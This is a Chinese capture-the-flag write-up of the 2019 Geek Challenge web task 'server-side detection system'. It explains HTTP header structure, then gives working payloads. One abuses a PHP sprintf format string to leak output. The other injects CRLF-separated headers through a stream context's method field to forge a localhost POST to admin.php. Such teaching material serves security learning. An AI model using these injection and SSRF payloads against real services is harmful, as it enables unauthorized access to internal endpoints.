极客大挑战2019的"服务端检测系统"

极客大挑战的"服务端检测系统"

这道题没做出来,看来writeup之后发现是因为自己基础知识不足。这里补一下。

关于HTTP头的一些小知识

http头的格式:
请求方法 /路径 HTTP/版本
头字段: 值

比如:
	GET /index.php HTTP/1.1
	Host: 127.0.0.1

http头部的各个字段之间用CRLF(\r\n)(%0d%0a)分割
http请求头(响应头)和请求体(响应体)之间用两个CRLF分割

最简单的Http请求

get请求:

GET / HTTP/1.1
Host: xx

post请求

POST / HTTP/1.1
Host: xxx
Content-Type: application/x-www-from-urlencoded
Content-Length: 3

a=1
http头的字段(一小部分)
Host

用于多个域名映射到同一个ip时,按照Host的内容匹配不同网站内容,每个Http头必须有Host头
当这个目的主机上只有一个网站,那么Host字段内容可以为任意值

Content-Type

表明内容部分的编码格式和媒体类型 post/put等方式必须有(如果有请求体)

请求头中的Content-Type
GET请求:
GET没有请求实体部分,所以请求头中不需要设置Content-Type字段
POST/PUT请求
如果post/put请求有请求体(有传值),那么必须要设置Content-Type字段(否则服务端可能无法处理你的请求)

  • 第一类:raw原始类型,可以上传任意格式的文本,比如text、json、xml、html…(中文不进行编码)
    text请求:Content-Type: text/plain
    json请求:Content-Type: application/json
    html请求:Content-Type: text/html
  • 第二类:application/x-www-from-urlencoded,会将表单内的数据转换拼接成key-value对(对非ascii码进行编码)
    Content-Type: application/x-www-from-urlencoded
  • 第三类:multipart/from-data,将表单的数据处理为一条消息,以标签为单元,用分隔符分开。既可以上传键值对,也可以上传文件。
    Content-Type: multipart/from-data;boundary=xxx
    在请求体中会有一个Content-Disposition字段,用于描述提交的表单的具体信息
    极客大挑战2019的
    响应头中的Content-Type
    用来告诉客户端,服务端返回的真实内容类型是什么。浏览器或客户端会根据这个值来做一些操作。
Content-Length 表示内容部分的长度 post/put等方式必须有(如果有请求体)


了解了上面的东西再来看这道题

题目给了源码,可控的变量是url和method,提示了admin.php,但要本地才能访问。




注意到这里将method放在了%d的前面,如果method为%s%,name结尾的%就会将%d中的%给转移掉,而前面的%s就可以将body中的内容给打印出来。
而method又会作为http请求的方式,但不影响,因为某些中间件会将不认识的方式默认当做GET请求来响应

echo "failed
"; echo sprintf("body length of $method%d", $body);

提交method=%s%,得到:极客大挑战2019的
代码为:

 

这里要post一个iwantflag=yes才能获得flag

再看看下面这串代码

 $opts = array(
      'http'=>array(
          'method'=>$method,
          'timeout'=>3
      )
  );

  $context = stream_context_create($opts);
  $body = @file_get_contents($url."/anything", false, $context);

这里使用的stream_context_create和file_get_contents来模拟http请求,method是直接拼接的我们的输入,所以这里我们可以构造一个任意的http请求。

举个列子:
这里服务器的代码为

array(
        'method' => $method,
        'header' => "Accept-langule: en"
    )
);
$context=stream_context_create($arr);
$body = file_get_contents("http://127.0.0.1:8808",false,$context);
var_dump($body);
?>

我们用nc来监听本机的8808端口,看看file_get_contents发送的http头数据

nc -lp 8808

如果method为正常的GET,这时候就是正常的一个http请求
极客大挑战2019的
而也很容易想到,我们可以通过method来进行注入,使http头变成我们想要的样子,比如我输入

method=POST / HTTP/1.1
Host: 123
Content-Type: application/x-www-from-urlencoded
Content-Length: 3

a=1
a

这时发出的http请求就会变成
极客大挑战2019的
可以看到,前面的包已经完全成为我们可控的了。

到这里已经很明白了,只要通过method构造我们的http请求头即可

最后payload:

url=http://127.0.0.1&method=POST /admin.php HTTP/1.1
Host: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

iwantflag=yes%26id=%s%

最后加一个参数是为了防止后面的东西影响到前面的iwantflag参数
%26是&的url编码格式,防止在提前被认为是参数分隔符。

最后,得到flag
极客大挑战2019的

你可能感兴趣的:(ctf_web,知识点)